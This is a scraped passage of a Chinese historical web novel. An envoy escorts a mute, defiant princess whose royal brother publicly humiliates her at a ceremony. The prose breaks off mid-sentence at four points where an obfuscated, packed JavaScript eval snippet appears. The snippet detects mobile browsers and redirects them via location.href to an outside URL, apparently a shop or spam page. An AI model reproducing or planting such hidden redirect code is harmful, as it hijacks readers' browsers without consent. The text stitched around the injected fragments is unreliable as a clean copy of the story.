;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062457|195086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,临行前便安排了后事。这一点,严修明能想得开。 可他接受不了父亲死后,诸多非议纷至沓来。有人说他身陷重围、力战殉国;也有人暗指他畏战失机、贻误军情。直至后军驰援,方平定乱局。 忠烈与罪责,虽一时之差,却是天壤之别。 尽管严修明苦寻当年真相,一封封奏疏递上去,却都石沉大海。 直至八年后的今天。 “当年战报混乱,先有‘殉国’之说,后又有‘失机’之议。陛下为稳定朝局,只能暂压不表。”王承焕道,“但这些年来,皇城司从未停止暗查。如今人证物证俱全,陛下圣意已决,令尊确系力战不屈,以身殉国。陛下明旨,追封令尊为‘卫国公’,谥‘忠武’。” “国……国公?”严修明听着每一个字都像是做梦。 “正是。”王承焕道,“严家本是大雍开国时的勋旧,世代簪缨。令尊早年因一些旧日官司牵连,左迁外任,确是一段坎坷。如今沉冤得雪,爵位追复,也算是告慰英灵了。” 父亲当年为何被贬,朝野心照不宣。所谓“旧日官司”,不过是鸟尽弓藏的体面说法。父亲半生郁郁,最后请缨出征,何尝不是想以军功,让家族重返京师。 只可惜,功未成,身先死。 八年了,整整八年。如今这国公之位,来得太迟。 想到这,严修明不觉喉头发紧,鼻头发酸,眼泪顺着脸颊就淌下来了。 “哎哟,严大人这是怎么了?”王承焕虚拍着他的肩膀,“瞧我,本是给您报喜来的,倒惹了您伤怀。” 严修明自知失态,抹了把眼泪,起身撩袍下拜,以额触地:“臣严修明,代家父,叩谢陛下天恩!” “您还是明日亲自谢过陛下吧。”王承焕也赶紧起身相扶,“陛下念及严家忠烈,国公又只余严刺史这一点血脉,决意破格施恩,特旨令大人承袭‘卫国公’之爵。” “承袭国公?”严修明心下一凛。国公虽尊,却多是荣衔,并无实权实责。陛下急召他入京,绝不仅仅是为了袭爵。 果然,王承焕话锋一转:“严大人正值盛年,才华卓著,不可虚掷。所以,这第二桩事,陛下要擢您为银青光禄大夫、检校礼部尚书,仍知桂州军事,赐紫金鱼袋。制书明日便下了。” 闻言,严修明愣在原地,脑中一片空白。“陛下厚恩,臣惶恐。”他声音有些紧张,“只是,不知陛下这番加恩,要差遣臣去何处?” 王承焕吃了口茶水,细细道来:“严大人可知,那西康王近年很不老实,吞并西境十六部不说,还频繁挑拨周边部落扰我边境。朝廷本欲征讨,但陛下仁德,不忍将士流血,愿另寻他法,先稳住西康局面。” “那陛下之意是……” 王承唤道:“那西康王有一胞妹,年方二十,陛下欲纳为妃,结两国之好。您刚袭爵,又新膺检校礼部尚书之职,身份尊贵,正是迎亲使的不二人选。要知道,昔日严家铁骑威震西陲,令西康谈‘严’色变,若您去迎亲,既可显天朝威仪,又可挫挫那西康王的野心。” 严修明闻言,心中百味翻涌。 果然,若非西康局势,陛下不会轻易重启当年旧案,朝中更无人会在意父亲之死的真相。这份清白,到底是借了西康的势,不是凭自己力争而来的。 不过,有势可借,总比毫无所依要好。 倒是陛下要纳西康公主为妃,这件事,值得细细思忖。 “王公,宫中四妃俱全,陛下纳妃,又是纳的哪门子妃?该不会要立……” “嘘——”王承焕未等他说完,便赶紧打住他,还压低声音道:“立后之事,牵连储位,乃陛下大忌,这些年,连侧立贵妃都无人敢提,大人慎言呐。” “哦,是我失言了。”严修明连连点头。 送走王承焕后,他独自来到院中。春夜微寒,他负手而立,目光不自觉投向西边的夜幕。 那西康公主,究竟是何等人物,竟能让陛下在此时、以此种方式迎入后宫,打破多年的平衡。还是说,严家的宿敌,那位西康王,又在酝酿什么阴谋? 4. 迎亲 永昌十四年春,大风自焉山而下,掠过河西走廊,卷起永昌道上的黄土,扬起一片昏黄。 这条两年前动工的官道,东起中原大雍国都兴安城,西至西康金凉城,宽五丈,是雍帝李齐为迎娶西康公主,特命沿线州府自筹款项、限期修成的通衢。 路成之日,便是天家聘仪西行之时。 道上,数面旌旗在风中猎猎作响。朱漆戟架、青盖幡车、八佾武卫……一整套钦差正使的卤簿,簇拥着一辆四驾马车。车上坐着的,正是严修明。 如今,他再不是先前那风尘仆仆的样子,身着一袭深紫色圆领右衽常服袍,双臂抱于胸前,微微仰身,靠在车壁软障上,阖目养神。身为迎亲使团要员,即便小憩,也要注重仪态。因此,那宽肩厚背始终挺得笔直,加之棱角分明、方端阔朗、浓颜英气的面相,好似一尊精雕细琢的神像。 “国公爷。”车外突然传来声音,“金凉城遣飞骑来报,于二十里外长亭设下香案仪从,迎候国公爷。” 严修明睁眼,抬手掀起侧帘,见是一名兵曹参军,便吩咐道:“叫典服官取我的公服来。” “是。” 不过片刻,两名典服官躬身登车,捧来一整套三品大员公服。二人手法利落,解衣、更袍、正冠、系绶,不一会儿便收拾齐整。 一名典服官理着袖缘,轻声赞道:“国公爷身形如松,这公服一上身,真是威仪天成。” 另一人附和道:“这般气度,便是兴安城的亲王公侯里也难寻。” 严修明垂目,看着广袖上的宝相花暗纹,还是不敢相信,自己竟成了卫国公。 父亲的污名洗刷,家门重光在即。待迎回公主,完成这桩国婚,便能以功臣之名重返中枢,真正光耀门楣。 他心中暗忖:“此番,断不能有差池。” 黄昏,金凉城土黄色的城楼终于出现了。 西康礼宾司的官员早已候在十里外。鼓乐、旌旗、护卫皆齐备,由一位鬓发微白的典令亲自主持接待,一套仪程简便,却不失礼数。 诸般仪程结束,典令向严修明等人躬身道:“诸位上使一路劳顿,请移步西华馆暂歇。明日辰时,我王于光华殿设朝,正式接受国书,与上使共议迎亲典仪细节。” 就这样,随员与车马皆被妥善安置,一应粮草补给皆由西康供应。而严修明等主要使臣,以及二百亲卫,被引去了西华馆。那是专为接待上国使节修筑的。 馆内庭院开阔,陈设却有些简朴,既无金玉点缀,又少锦绣铺陈。戍卫的西康士兵静立各处,目光平静克制。一切安排皆依礼制,挑不出错处,却也感受不到分外的热络。 这般情景,严修明并不意外。 早先雍帝李齐即位,以雷厉手段拓土开疆,威加海内,西康率先奉表称臣,受册封为属国。然而近些年,情势悄然生变。 康朔东征西讨,竟将周遭十六部逐一收服,握有西境最大的方国之实。虽名义上仍尊大雍为宗主,声称“代镇西境、安定边塞”,然其狼子野心,早已昭然若揭。边关摩擦日增,使节言辞渐硬,无非是自恃羽翼渐丰,蠢蠢欲动。 只是眼下尚未到撕破脸之时,面上这层太平,还得维系。康朔将胞妹嫁与李氏,大抵也是如此考量。只是其中深意,怕不止于此。 众人忙于安置行装时,严修明由典令陪着,在馆中慢步巡视。他目光转过一周,停在馆外不远处一座孤耸的高塔上。 “那是何处?”严修明随口问道。 典令循着他的视线望去,脸上的表情变得谨慎而微妙。他微微躬身答道:“回上使,那是璇玑塔。” “塔?”严修明挑眉,“如此形制,不似佛塔,建于王城之内,有何用处?” “此塔……” 典令略微思索,觉得如实相告,并不妥当,便开始鬼扯:“此塔是专为康缇公主殿下所建。公主殿下命格尊贵,乃吉星房宿临凡。然而,吉星过于璀璨,幼时反易为俗尘所扰,体魄不安,时常患病。后有高僧指点,请公主入塔静修,以稳固本源。” “静修?修的是什么?”严修明问。 “也没什么特别的。”典令继续鬼扯,“公主需持守静默,澄心自观,令喉舌之窍闭合,心神之意自会通明。上使有所不知,公主自幼便如此修行,三年前入塔闭关,感通星辰。其间孤寂清苦,非常人能及。但是为了福泽万民,公主甘之如饴,实乃我西康之幸啊。” “什么?”严修明听罢,眉头一皱,差点笑出声来。 试问这世上,有哪个孩童能保持静默?又有谁能一直沉默到韶华之年,还甘之若饴? 纯粹胡说八道。 见严修明一副不可置信的表情,那典令赶紧找补道:“非常之人,自有非常之志。公主心性坚毅,慧根深种。若非如此,又怎会配得上圣上呢?” “嗯,好,好……”严修明心感荒谬之至,面上却只淡淡颔首,“可大婚在即,公主仍在清修,会不会……” “请正使放心。”那典令忙道:“公主修行已近圆满,不日将要出塔。届时,城中举行启明大典,诸位上使皆在受邀观礼之列,可目睹吉星重现之盛况。” 严修明微微颔首,不再多言,可心中却对这位西康公主,多了几分好奇。“典令言辞荒谬,其中定有隐情。”他心说,“看来这差事不简单,且再看看罢。” ﹡ 西华馆中,备了宴席,为众人接风洗尘。待到宴散人静,严修明独在院中踱步,不知不觉又想起父亲。 当年,父亲想方设法找门路,向朝廷请命去冀州平乱,无非是想挣一个让严家翻身的机会。 此去搭上性命不说,更是树倒猢狲散。严氏家族,叔伯争产、旧部离散,不过数年,显赫将门便只剩一个空荡门楣。唯有严修明,在桂州的瘴气与刀剑间,一步步把脚跟站稳。 父亲的死,只是死了而已。 “我和父亲不一样。” 这个念头冒出来时,严修明感到一腔无名之恨,在脏腑中燃烧。 打从记事起,父亲就是一座逾越不了的山。那人刚毅果敢、处事雷厉、治军如铁,却也独断专行,不容置疑。亲族部曲皆仰其鼻息,也畏惧其威严。 这样的人,身为人父,更是苛刻到了极点。 严修明七岁起,每日五更便开始操练,风雨无阻;十岁随军巡边,冻伤了也不敢言痛;十五岁初上战阵,浴血归来,只见父亲目光冷峻,像审视兵器一样审视自己,无一字关切。 “严家儿郎,理当如此!”父亲一句话,说过千百遍。那是严修明千百次的委屈与疲累。 “呵,严家儿郎,都不得好活!” 男儿家要长大,总得试着推倒父亲这座山。严修明亦然。 父亲于他,是自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062458|195086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幼仰望的峰峦,也是必须跨过去的屏障。他心底有一把火,非要彻彻底底地叛逆一次,证明山外有路,他已自成一方天地。 可父亲压根不会给他这样的机会。事后诸般情势也一一印证,父亲总是对的。 面对父亲的羞辱,这位少年郎更是羞愤攻心:“人孰无过?父亲难道就从未错过?” 严父却冷声道:“等你爬上我的位置,才有资格与我论对错!” 如今,严修明早已独当一面,而父亲已经故去多年。只是那座山,并未随着父亲的死而消失。 这些年来,他在幕府研判军情,总不自觉去想“若是父亲,当如何决断”;与心腹幕僚商议时,一句“老将军在时”,都能让他心头一紧。 那一口气,就这么不上不下地,堵了许多年。 眼看自己年近三十,总不能一直在父亲的棋局里打转。他需要一次机会,证明自己更清醒、更高明。 此时,一阵风起,卷动着树梢簌簌作响,如夜晚的低语。 严修明循声抬眼,目光穿过摇曳的枝杈,又看到那座璇玑塔,伫立在墨蓝的天幕中,沉默而寂寥。 他目力极佳,那是常年纵马旷野,磨砺出的一双鹰隼之眼。即便夜色浓稠,相隔数里,仍能辨清塔檐下悬着的青铜风铃。 “西康公主就在那里,待了三年吗?这和囚禁无异,谁会安于塔中三年?”他久久凝望塔楼,脑海中不觉浮想联翩。 就在这时,塔楼高处,一扇窗扉内,毫无征兆地出现一抹白影。 那是个女子。 她素衣如雪,借了月色,周身披了一层清冷微光。一头长发未束,任由夜风吹拂。青丝缭绕间,面容时隐时现,迷离缥缈。 这样一个人影,立在混沌的夜色里,宛如误入尘寰的星辰。 严修明心头登时一紧。 分明看不清面容,可他却觉得那女子正朝自己这边望来。也不知为何,他竟有些紧张,下意识伸手去摸佩刀。可由于身着常服,腰间空空如也,他也只是胡乱摸索几下,又收回手去。 而对面,那道白影似有微动。 女子轻轻摇了摇头,旋即拂袖而去,身影没入黑暗之中,唯余空窗对月。 晚风更凉了。 严修明仍望着那扇窗,良久未动。方才那一幕,似幻似真,令他怔了好一会儿,心神也短暂抽离片刻。 本是不经意的事。可偏偏这不经意,像把钥匙,捅开了心底锈死的记忆。 一连两三个夜晚,严修明都梦见个穿白衣的女人,并非璇玑塔中绝尘缥缈的影子,是儿时见过的一个疯妇。 他忘了是在哪儿,只记得见过深宅大院里一座孤零零的小屋,屋顶长满了青苔,与整座宅院格格不入。 屋门被打开,疯妇就在那里。她穿着泛白旧衫,蹲在门槛上,朝严修明伸出手,掌心摊开,是一块长出霉斑的糕点。 “来,”她声音哑哑的,脸上堆出笑容,“给你吃。过来呀。” 梦中,这疯妇瘦得脱了相,两颊凹陷,手指像几根枯枝,笑容越看越瘆人。严修明次次都被吓醒,出了一身冷汗。 可有趣的是,等心跳放缓,恐惧退潮,他才发觉一种别的感觉正悄悄漫上来。这感觉并非从梦魇中逃离的轻松,倒更像是闷热封闭的房间里,忽然吹进一丝凉风。而为他开窗的,正是梦中疯妇那枯瘦如柴的手。 5. 启明大典(1) 严修明朝见康朔,递交了国书、制书,也议定了吉日、礼仪、陪嫁等一应事项,眼下就等着公主结束清修,核验其身份。 很快,西康公主出塔的日子到了,金凉城中依制举办启明大典。严修明作为迎亲正使,率首要使臣应邀观礼。 典礼就在璇玑塔下。场内旌旗林立,猎猎作响,中央设有祭坛,香烟袅袅。康朔挽着新王妃何瑛姃的手,坐在北面主位。严修明等使臣被引至西侧观礼台落座。 大典开始,鼓乐齐鸣。巫祝吟唱着祝词,奴隶抬上整牛全羊,投入烈火燔烧,青烟携着焦肉的气息,直上云霄。 一连串冗长的仪式后,康朔起身,大步走到祭台前,浑厚的声音响彻全场:“吾妹康缇,承天所钟,吉星耀世。奉天命静修,纳乾坤灵秀。今功德圆满,奉谕出塔,将往天命所归之地,肩负天所授之任,永佑西康万民安宁!” 话音落下,四周乍起一片欢呼。更有百姓或手捧鲜花,抛掷互赠;或挽手成环,踏地舞蹈。 严修明看着这场面,对身旁的副使周兆安道:“金凉百姓对公主出嫁,倒是真心高兴。” 周兆安冷哼一声:“今后不用供养一个疯子,能不高兴么?” 听到“疯子”二字,严修明恍然想起梦中的疯妇,一下子来了精神,追问道,“疯子?说的可是西康公主吗?” “没错。”周兆安道,“下官这几日在金凉,可听了不少西康公主的事,没一件好的。别说金凉百姓,整个西康怕是也没几人敬重这位公主。” “说来听听。” 周兆安压低声音:“先前西康王得了几只彩羽灵鸟,送给她赏玩,她非要打开笼门将那些鸟放了。这原本也没什么,只是有两只鸟驯养久了,不肯飞去,结果您猜怎么着?她竟亲手将这两只鸟的羽毛都拔光,最后掐死喂了狗。” 他摇了摇头,继续道,“还有一次,也是这般大典,她将铜钱烧得通红,在璇玑塔上向下抛洒。百姓不知情,上前哄抢,全都烫的皮开肉绽。更有人为此得了痈疽,以至疮毒内陷,险些没了性命。” 严修明皱了皱眉:“她这般行事,确实令人费解啊。” “谁说不是呢。”周兆安道,“此类事情,不一而足。听说公主幼时曾被掳走过,虽侥幸得回,却大病一场。王庭寻来凶兽寒狰,取其胆为她入药。后来病好了,人却哑了,而且行事也愈发诡异。金凉百姓都传,即便她是吉星,也早被那寒狰的凶戾之气污了。” “哑了?”严修明突然瞪大了眼睛,“她不是静默清修吗?” “您可别听那典令胡说。”周兆安却嗤笑道:“西康王廷对咱们说是静默清修,可城中百姓却说是哑疾。你觉得哪个可信?” “大雍皇妃,岂能是个哑巴?”严修明突然紧张起来,“周使,你久居京师,此事朝中可知晓?” “唉,十有八九吧。”周兆安叹了口气,“这是陛下的决定,下官也不敢妄议。严国公,听我一句劝,此番咱们只管办差,旁的一概与你我无关。” 两人说话间,璇玑塔的大门缓缓打开。一众奴隶鱼贯上前,依次匍匐在地,以脊背筑成一道人桥。巫祝率领侍女,手捧银盆,将盆中花瓣扬洒在奴隶背上。 “吉星临凡,踏瑞而出!”礼官伸长了脖子,公鸡打鸣般,将声音拉得悠长。 这声音吸引了严修明的注意,将目光转向塔门处。只见黑洞洞的塔门内,渐渐浮出点点碎金,金光越来越清晰,化作绯红绣金礼服上的鸾鸟纹。西康公主康缇身着这身华服,头戴金冠,自幽深处缓步而出。日光倾泻在她身上,如熔炉乍破,金铁狂舞,场中姹紫嫣红皆无颜色。 严修明用鹰隼般的眼睛,目不转睛地看着她。 康缇长着一张鹅蛋脸,三庭匀净,柔润端方,杏眼清澈如水,鼻如玲珑悬胆,加之唇厚齿明、耳轮垂润,乍看福泽盎然,确实是吉星之相。只是这清润的气质中,隐隐透着一丝锐意,柔中藏刀。 只消一眼,严修明便笃定,前几日塔窗后的白影,正是此人。 倒不是他还记得白影的容颜,而是因一个“疯子”名号,白影、康缇和梦中疯妇的样子在意识深处重合。一瞬间,他的思绪再次抽离而出,奇异而熟悉的躁动窜了上来。 “吉星移驾,当守三仪。一曰衣不染秽,远避灾殃;二曰足不沾尘,不漏福泽;三曰目不视凡,心通神意。今以奴筑梯,愿步步圆满,天光永驻,福泽万疆!”礼官高声唱道。 依礼制,康缇要赤足踩着奴隶,稳稳地走到祭坛,足不可沾尘,衣不可染秽,眼中也只能映着祭坛中心的圣火,不得流连周围人影。 此事关乎国仪,绝不能有失。 礼官念到“衣不染秽”“足不沾尘”和“不漏福泽”时,特意拔高声调,一字一顿,唯恐相干人等不留神,搞出了意外。毕竟,当着上邦使臣的面,一旦生乱,不仅让人看笑话,王上责怪下来,更无人承担得起。 康缇在侍女搀扶下,纤足踩在第一个奴隶的脊背上,她步履缓慢,裙裾如云,轻轻扫过奴隶的身体,仿若天女下凡,凌虚而行。 场中所有人的目光都定在她身上,纵使平日再不喜欢这位公主,此刻也不由得被其雍容清冽的气度所慑。而主位上的康朔更是露出得意的笑容,眼中满是对妹妹的欣赏。 行至中途,她突然顿足,微微侧首,目光向西悄然一掠。那正是严修明等使臣列座之处。 严修明自幼习武,对周遭风吹草动极为敏感。他察觉到康缇这轻微的动作,顿时警觉起来。直觉告诉他,接下来一定会发生什么事。 果不其然,康缇迈步时,脚下在了两名奴隶之间,猛地踏空,身形一歪,整个人侧身跌落,结结实实摔在了地上。 “咚!” 随着一声闷响,乐舞骤停,场中陷入一片死寂。 康缇侧趴在地上,冠饰歪斜,华服委地,裸足的肌肤已沾满尘土。 “不……不好!吉……吉星蒙尘!”老巫祝失声惊叫,旋即又戛然收声。他想起王上和王妃还在后面看着,便战战兢兢往主位的方向瞟了一眼,脸色更加惨白,低声嘟囔道,“不……不祥之兆啊。” 与此同时,面面相觑的众人也反应过来,皆变了脸色,指着康缇以及那两名奴隶,说三道四。一时间,窃窃私语声从四面八方涌来,令场中更加压抑。 就在众人不知何去何从时,康朔缓缓地从王座上站起,面沉如水。他一步一步走下台阶,走到康缇面前,居 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062459|195086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高临下地看着她,脸上如一潭死水,没有任何表情。 “缇儿莫怕,”他的声音不高不低,不急不躁,却有种令人胆战的压迫感,“告诉王兄,方才是谁将你摔了?” 康缇坐在地上,斜着眼睛,迎上王兄的目光,也不起身,也不指认,就干干地看着。 “是谁?!” 康朔猛地暴喝一声,炸雷一般,惊得四座浑身一颤。 康缇也被这一吼惊得闭了眼睛,紧锁眉头。待余音散尽,她再次睁眼,依旧斜视着王兄,眼神中毫无惧色,就映着两个字——“不服!” 王上是这么个专断的人,公主又是这么个犟种。这两人针锋相对起来,可有热闹看了。 金凉城众人皆面容失色,大气不敢喘一下,个个如坐针毡、如芒刺背。反观大雍使臣,事不关己,俨然一副看笑话的表情。 见康缇不予回应,康朔更加气愤。他倏然转身,冰冷的目光扫过近处的奴隶,吓得他们浑身战栗,瑟缩着向后挪动。 “来人!”康朔的声音里起了杀意。 话音未落,坐在一侧的王妃何瑛姃忽然起身。她一手轻掩小腹,快步上前,赶在侍卫动作前扬声令道:“将这几人拉下去,杖责三十!” 语毕,她又急忙凑到康朔身侧,牵过他的手轻轻按在自己小腹上,柔声道:“王上,吉日良辰,不宜杀生。权当是为康缇妹妹,也为臣妾腹中的孩儿,积一份善德,可好?” 康朔看着何瑛姃温柔而坚定的眼神,又看了看她尚不明显的肚子,终究是压下了怒火,随即给了侍卫一个眼神。 侍卫会意,便依着王妃的意思,将那两名奴隶拖了下去。 奴隶可以处置,但吉星却动不得。眼下,康缇还撑着胳膊,坐在地上,丝毫没有起身的意思。 康朔狠狠剜了她一眼,转身搀扶何瑛姃归座。随后,他命人取来一盆清水,置于祭坛前的香案之上。 接着,他独自走到香案前,对众人肃然宣告:“王者之血,可涤尘秽。今日本王以此血,濯洗吉星之瑕,复其清辉。” 说罢,他取出匕首,反手握住刀刃,猛然一抽。锋刃割开皮肉,殷红的鲜血顺着指缝流出,一滴滴串成线,落在那盆水中。 见状,金凉臣僚要么垂首避视,要么面色发白。大雍使团中,有的微微倾身,看向水盆中的鲜血;有的面容平静,只彼此交换了一下眼神。只有何瑛姃皱着眉头,攥紧袖缘,眼中皆是心疼。 片刻后,血流渐止。侍女躬身递上帕子,康朔将掌心余血擦净,便随手将那染血的帕子掷入盆中,冷声道:“端给她。” 侍女会意,将水盆端至康缇面前,等待公主用这帕子掸净尘土。可是,康缇并未理会。她一动不动,一双眼睛赌气般直勾勾盯着王兄。 看到这般情景,金凉众人愈发绷紧了心弦,而雍使们则愈发来了兴致。 但严修明与众人不同,虽说也是隔岸观火,却并无戏谑之意。说到底,都是因为“疯子”二字。世人见疯者,或惧怕或躲避。而他见疯者,就像看到山峦崩塌,无不渴望在尘土中高歌。 此刻他注视着康缇,呼吸早已滞住,思绪也飞去了九霄云外,只默默期待这个疯子能带给他惊喜。 6. 启明大典(2) 至亲反目,那股恨意往往比陌路仇人更加酷烈。 往昔,康缇发疯作闹,不过纾解心中苦闷罢了。得知大雍使臣要来金凉,她便学乖了,乖到康朔看不出一丝破绽,还颔首称许:“缇儿懂事了。” 可他没想到,那个装得很懂事的小妹,蛰伏多日,就等着出塔这一天,当着使臣的面,给王兄一个惊喜。 可说到底,康缇与康朔比疯斗狠,还是小巫见大巫。 失去耐心的康朔,骤然迈步上前,一把从侍女手中夺过水盆,向妹妹兜头泼下。 “哗啦!!!” 康缇猝不及防,被淋了个落汤鸡,发髻散乱,本就歪斜的金冠也被冲落坠地。 不及她抹去脸上血水,康朔已俯身而来,一把将她抱起,反手扛在肩上,大步朝祭坛正中走去。 康缇头朝下倒悬着,视野里只有王兄的后背。他的手臂紧紧钳着她,无论如何踢打挣扎,都丝毫挣脱不了。 在不得章法的扑腾中,康缇无意间摸索到王兄背上一处还算软的地方,狠狠咬了上去。 齿尖穿透衣料,刺痛皮肉。康朔身形一顿,喉间逸出一声闷哼。虽然吃痛,却也没停下。他皱着眉,咬紧牙,一声不吭,硬是将她扛上祭坛,一把掼在中央的蒲团上。 “礼官何在?”他甩开袖摆,厉声喝道。 “在,在,”礼官跌跌撞撞地扑到坛前,“王上,臣在此。” “还不宣布礼成?!” “是!是!” 礼官哆哆嗦嗦展开手中帛卷,仓皇拔高声音念道:“隆仪已成,神灵赐福;吉星移位,永保康宁;福泽延绵……” 话音未落,康缇已从蒲团上踉跄爬起,猛地抬手拔下头上金钗玉簪,又奋力扯开礼服外袍,伸手去解腰间玉带。可越是心急,那鎏金钩扣越是缠绞难解。 为此,她骤然腾起一股戾气,发力狠拽。只听“咔嗒”一声,钩带迸裂,连带上坠饰的珍珠玉石也迸散开来,噼里啪啦,飞溅得到处都是。 偏巧,其中一颗珠子,不偏不倚,正冲着严修明面门飞来。 他眼疾手快,一把抓住了那颗珍珠。摊开来看,只见珠光温润,莹莹似月华。严修明挑了下眉,用拇指轻轻摩挲几下,又合拢五指,将珍珠紧紧攥在手心。 另一边,康朔见妹妹如此不顾体统,一步上前攥住她手腕:“上国使臣在前,你还要闹到什么地步?” 康缇手腕被他钳得生疼,停下了动作,只一双锐利的眼神盯着王兄,露出一个挑衅的微笑。 康朔见她这般神情,心知今日必不能善了,索性横下心。“锦绣华服你不要,是么?”他声音压得很低,听起来更骇人了,“好,好啊!” 冷笑一声后,康朔松开她的手,后退一步,目光扫向阶下侍卫,冷声命令道:“吉礼已备,当以示诚敬。尔等助将公主褪去礼服,净化尘躯,以彰显其心至纯至真,承天露之泽!” 也就是康朔,能将扒人衣服这件事说得冠冕堂皇。 可场中众人也不傻。 当众扒一个女子的衣服,着实不体面,更何况这是公主。侍卫们面面相觑,无人敢动。 礼官僵在坛下,贺词念得断断续续,进也不是退也不是,额上不禁冒出涔涔冷汗。 金凉臣民也个个面如土色,垂首屏息,不敢多看。 而大雍使团席间,几位使臣已侧首掩袖,相视而笑,俨然将这荒唐一幕,视作今日最大的乐子。 “怎么,都聋了吗?”康朔的耐心几乎耗尽,厉声喝道,“本王的话,都听不见吗?” 君威如雷霆压下,为首的侍卫面色惨白,只得咬牙上前,带着两名侍卫逼近康缇。康缇瞳孔骤缩,挣扎更剧,却被数只手死死按住。 “住手!”王妃何瑛姃再也按捺不住,由侍女搀着急步上前,声音带着哭腔,“王上,不可啊!此举有辱国体,更伤天家亲情。求王上看在……看在我们未出世的孩子份上……” 话还没说完,康朔转过头冷冷看着她,那眼神如刀,又似无声之雷,令何瑛姃心下一紧,生生将话咽了回去,不敢出声了。 王上对王妃尚且如此凌厉,其他人可想而知。于是,众人虽然觉得如此待公主,不大体面,但也不敢再置一词。 一个人的愤怒,如乌云压顶,笼罩在璇玑塔下。场中有被欺凌的、惶惶不安的、看热闹的……唯有严修明,笑过一阵后,此刻只觉索然无味。 说到底,他心底是有些失落的。那些对疯子的幻想,都落败了。疯子就是疯子,在强权面前,脆弱不堪。 “走!” 严修明蓦然起身,掸平了衣裳,大步向场外走去。 左右使臣见状,皆一头雾水,但也不能干坐着。于是,众人也随之离席,加上随身仆侍,二三十号人,就这样呜呜泱泱地朝外行去。 外交场合,任何一个举动,都会被放大解读。 康朔不惜斥资举办启明大典,其一,是为康缇“吉星”的身份正名,全两国和亲的体面;其二,是为了显示他西康国力与王权威严,告诉各位雍使,西康今非昔比,往后交涉谈判也是要有所顾忌的。 然而,严修明就这样退场,无异于给了康朔一记耳光。他的沉默,是一种宣判:西康之仪,鄙陋至极,不足为外人观,亦不足为世人言。 这比任何语言都要响亮。 康朔哪里忍受得了这样的羞辱,当即给身旁的译礼馆主簿赫连文使了个眼色。 赫连文会意,立刻弓着身子小跑到严修明近前,深深作揖,赔笑道:“严正使,诸位上使,请留步。往上已吩咐重启雅乐,珍馐美酒即刻奉上。方才……方才实在是意外,万望海涵,万望海涵啊!” 严修明瞥了赫连文一眼,又回头看了眼焦灼的康朔,用慵懒戏谑的声音道:“不必了吧?我等千里迢迢来到金凉,是为了迎亲,不是来看撂地耍把式的。” 他特意将声量提高,被康朔听得一清二楚。 康朔绷不住了,大步上前,对严修明道:“启明大典乃我西康国之盛事,这般大典,纵有微瑕,也是常情。本王诚意邀上使观礼,严正使却执意要走,莫非是觉得我西康不配待客了?” 严修明不予回答。 他侧目看了一眼祭坛上的康缇。她跪坐在原地,脊背挺得笔直,锐利的眼神穿过人群,直勾勾看着自己与康朔,嘴角还挂着一丝讥诮而得意的笑容。反观周围侍卫和康臣,一个个怂头耷脑,眼神飘忽, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062460|195086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像一群受惊的鹌鹑。 见到这一幕,严修明也不由得被逗笑了。 接着,他大步流星,走到祭坛前,双眼始终直视着康缇,将方才那颗珍珠放在祭坛边上。而康缇也注意到他,毫不避讳地迎着他的目光,关注着他的一举一动。 二人就这样相互看着,没有一句话。 罢了,严修明微微颔首,便又离开了。经过康朔时,才轻笑一下,回答了他的问题:“是我不配。” 康朔一怔:“此话何意?” 严修明淡淡地说道:“西康公主不日便是大雍王妃,可未出阁的公主,还是西康人,是王上的亲妹妹。只是……康王今日以‘净化尘躯’为名,去了公主的衣裳,还让我等雍臣旁观,这岂不是……” 接着,他又凑近康朔耳畔,低声道:“公主玉体,非外男可视。我等先于陛下欣赏吉星之姿,怕是有悖人伦吧?这是僭越犯上,要杀头的。还请康兄体谅。” 言罢,他微微颔首,转身便走。其他众使也跟上。 康朔闻言,气得脸色红一阵白一阵,却也无法反驳。往昔,他只知严修明是军功赫赫的悍将,却没想到此人在邦交上,言辞也如此刁钻。 他的一番话,将国事之仪降为私事,还在自己耳边一口一个“康兄”叫着,看似是无奈告饶,可外人听不见这番话,只当是上邦震怒。 